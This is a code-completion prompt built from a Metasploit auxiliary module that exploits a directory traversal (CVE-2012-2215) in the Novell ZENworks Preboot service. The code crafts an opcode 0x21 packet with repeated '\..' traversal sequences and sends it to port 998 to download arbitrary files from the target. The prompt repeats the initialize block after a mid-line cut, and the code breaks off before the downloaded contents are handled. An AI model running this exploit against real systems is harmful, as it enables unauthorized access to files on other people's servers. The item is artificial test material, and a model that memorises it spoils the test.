You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: zenworks_preboot_fileaccess.rb
    path of file: ./repos/metasploit-framework/modules/auxiliary/scanner/misc
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell ZENworks Configuration Management Preboot Service Remote File Access',
      'Description'    => %q{
          This module exploits a directory traversal in the ZENworks Configuration Management.
        The vulnerability exists in the Preboot service and can be triggered by sending a specially
        crafted PROXY_CMD_FTP_FILE (opcode 0x21) packet to the 998/TCP port. This module has been
        successfully tested on Novell ZENworks Configuration Management 10 SP2 and SP3 over Windows.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell ZENworks Configuration Management Preboot Service Remote File Access',
      'Description'    => %q{
          This module exploits a directory traversal in the ZENworks Configuration Management.
        The vulnerability exists in the Preboot service and can be triggered by sending a specially
        crafted PROXY_CMD_FTP_FILE (opcode 0x21) packet to the 998/TCP port. This module has been
        successfully tested on Novell ZENworks Configuration Management 10 SP2 and SP3 over Windows.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-2215' ],
          [ 'OSVDB', '80230' ],
          [ 'URL', 'https://web.archive.org/web/20121103122235/http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=975' ]
        ]
    ))

    register_options(
      [
        Opt::RPORT(998),
        OptString.new('FILEPATH', [true, 'The name of the file to download', '\\WINDOWS\\system32\\drivers\\etc\\hosts']),
        OptInt.new('DEPTH', [true, 'Traversal depth', 6])
      ])
  end

  def run_host(ip)
    # No point to continue if no filename is specified
    if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
      print_error("Please supply the name of the file you want to download")
      return
    end

    travs = "\\.." * datastore['DEPTH']
    travs << "\\" unless datastore['FILEPATH'][0] == "\\"
    travs << datastore['FILEPATH']

    payload = Rex::Text.to_unicode(travs)
    packet =  [0x21].pack("N") # Opcode
    packet << [payload.length].pack("N") # Length
    packet << payload # Value

    connect
    sock.put(packet)
    sock.get_once(4, 1)
    length = sock.get_once(4, 1)

    unless length
      print_error("Unable to get length due to a timeout")
      return
    end

    sock.get_once(0x210-8, 1)
    contents = sock.get_once(length.unpack("V").first, 1)

    unless contents
      print_error("Unable to extract contents due to a timeout")
      return
    end